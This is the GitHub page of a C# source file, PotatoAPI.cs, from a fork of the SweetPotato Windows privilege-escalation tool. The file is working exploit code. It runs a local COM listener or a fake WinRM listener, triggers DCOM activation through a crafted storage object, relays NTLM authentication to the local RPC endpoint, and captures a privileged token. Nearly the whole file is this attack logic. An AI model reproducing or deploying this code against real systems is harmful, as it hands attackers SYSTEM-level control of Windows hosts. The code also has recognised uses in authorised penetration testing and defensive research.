forked from Tycx2ry/SweetPotato_CS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
PotatoAPI.cs
executable file
·254 lines (196 loc) · 8.63 KB
/
PotatoAPI.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
namespace SweetPotato {
public enum ExecutionMethod {
Auto,
Token,
User
}
public class PotatoAPI {
Thread comListener;
Thread winRMListener;
LocalNegotiator negotiator = new LocalNegotiator();
Guid clsId;
readonly int port;
bool fakeWinRM;
volatile bool dcomComplete = false;
public IntPtr Token {
get {
return negotiator.Token;
}
}
EventWaitHandle readyEvent = new EventWaitHandle(false, EventResetMode.AutoReset);
public PotatoAPI(Guid clsId, ushort port, bool fakeWinRM) {
this.clsId = clsId;
this.port = port;
this.fakeWinRM = fakeWinRM;
if (fakeWinRM)
StartWinRMThread();
else
StartCOMListenerThread();
}
public Thread StartWinRMThread() {
winRMListener = new Thread(WinRMListener);
winRMListener.Start();
return winRMListener;
}
public Thread StartCOMListenerThread() {
comListener = new Thread(COMListener);
comListener.Start();
return comListener;
}
string GetAuthorizationHeader(Socket socket) {
byte[] buffer = new byte[4096];
int len = socket.Receive(buffer);
string authRequest = Encoding.ASCII.GetString(buffer);
Regex rx = new Regex(@"Authorization: Negotiate (?<neg>.*)");
MatchCollection matches = rx.Matches(authRequest);
if(matches.Count == 0) {
return null;
}
return matches[0].Groups["neg"].Value;
}
void WinRMListener() {
Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, 5985));
listenSocket.Listen(10);
readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
if (dcomComplete)
return;
}
Socket clientSocket = listenSocket.Accept();
string authHeader = GetAuthorizationHeader(clientSocket);
negotiator.HandleType1(Convert.FromBase64String(authHeader));
string challengeResponse = String.Format(
"HTTP/1.1 401 Unauthorized\n" +
"WWW-Authenticate: Negotiate {0}\n" +
"Content-Length: 0\n" +
"Connection: Keep-Alive\n\n",
Convert.ToBase64String(negotiator.Challenge)
);
clientSocket.Send(Encoding.ASCII.GetBytes(challengeResponse));
authHeader = GetAuthorizationHeader(clientSocket);
negotiator.HandleType3(Convert.FromBase64String(authHeader));
clientSocket.Close();
listenSocket.Close();
}
void COMListener() {
try {
Socket listenSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
listenSocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1);
listenSocket.Bind(new IPEndPoint(IPAddress.Loopback, port));
listenSocket.Listen(10);
readyEvent.Set();
while (!listenSocket.Poll(100000, SelectMode.SelectRead)) {
if (dcomComplete)
return;
}
Socket clientSocket = listenSocket.Accept();
Socket rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
byte[] buffer = new byte[4096];
int recvLen = 0;
int sendLen = 0;
while ((recvLen = clientSocket.Receive(buffer)) > 0) {
byte[] received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
if (negotiator.Authenticated) {
break;
}
sendLen = rpcSocket.Send(received);
recvLen = rpcSocket.Receive(buffer);
if (recvLen == 0) {
break;
}
received = new byte[recvLen];
Array.Copy(buffer, received, received.Length);
ProcessNTLMBytes(received);
sendLen = clientSocket.Send(received);
if (listenSocket.Poll(100000, SelectMode.SelectRead)) {
clientSocket.Close();
clientSocket = listenSocket.Accept();
rpcSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
rpcSocket.Connect(new IPEndPoint(IPAddress.Loopback, 135));
}
}
try {
clientSocket.Close();
rpcSocket.Close();
listenSocket.Close();
} finally { }
} catch (Exception e) {
Console.WriteLine("[!] COM Listener thread failed: {0}", e.Message);
readyEvent.Set();
}
}
public bool TriggerDCOM() {
int result = 0;
try {
if (!fakeWinRM) {
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
StorageTrigger storageTrigger = new StorageTrigger(storage, string.Format("127.0.0.1[{0}]", port), TowerProtocol.EPM_PROTOCOL_TCP);
Ole32.MULTI_QI[] qis = new Ole32.MULTI_QI[1];
qis[0].pIID = Ole32.IID_IUnknownPtr;
result = Ole32.CoGetInstanceFromIStorage(null, ref clsId, null, Ole32.CLSCTX.CLSCTX_LOCAL_SERVER, storageTrigger, 1, qis);
} else {
Type comType = Type.GetTypeFromCLSID(clsId);
var instance = Activator.CreateInstance(comType);
}
} catch (Exception e) {
if (!negotiator.Authenticated)
Console.Write(String.Format("{0}\n", e.Message));
}
dcomComplete = true;
return negotiator.Authenticated;
}
int FindNTLMBytes(byte[] bytes) {
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
//we can just return the index
byte[] pattern = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
int pIdx = 0;
int i;
for (i = 0; i < bytes.Length; i++) {
if (bytes[i] == pattern[pIdx]) {
pIdx = pIdx + 1;
if (pIdx == 7) return (i - 6);
} else {
pIdx = 0;
}
}
return -1;
}
int ProcessNTLMBytes(byte[] bytes) {
int ntlmLoc = FindNTLMBytes(bytes);
if (ntlmLoc == -1) return -1;
byte[] ntlm = new byte[bytes.Length - ntlmLoc];
Array.Copy(bytes, ntlmLoc, ntlm, 0, ntlm.Length);
int messageType = bytes[ntlmLoc + 8];
switch (messageType) {
case 1:
//NTLM type 1 message
return negotiator.HandleType1(ntlm);
case 2:
//NTLM type 2 message
int result = negotiator.HandleType2(ntlm);
Array.Copy(ntlm, 0, bytes, ntlmLoc, ntlm.Length);
return result;
case 3:
//NTLM type 3 message
return negotiator.HandleType3(ntlm);
default:
Console.WriteLine("Error - Unknown NTLM message type...");
return -1;
}
}
}
}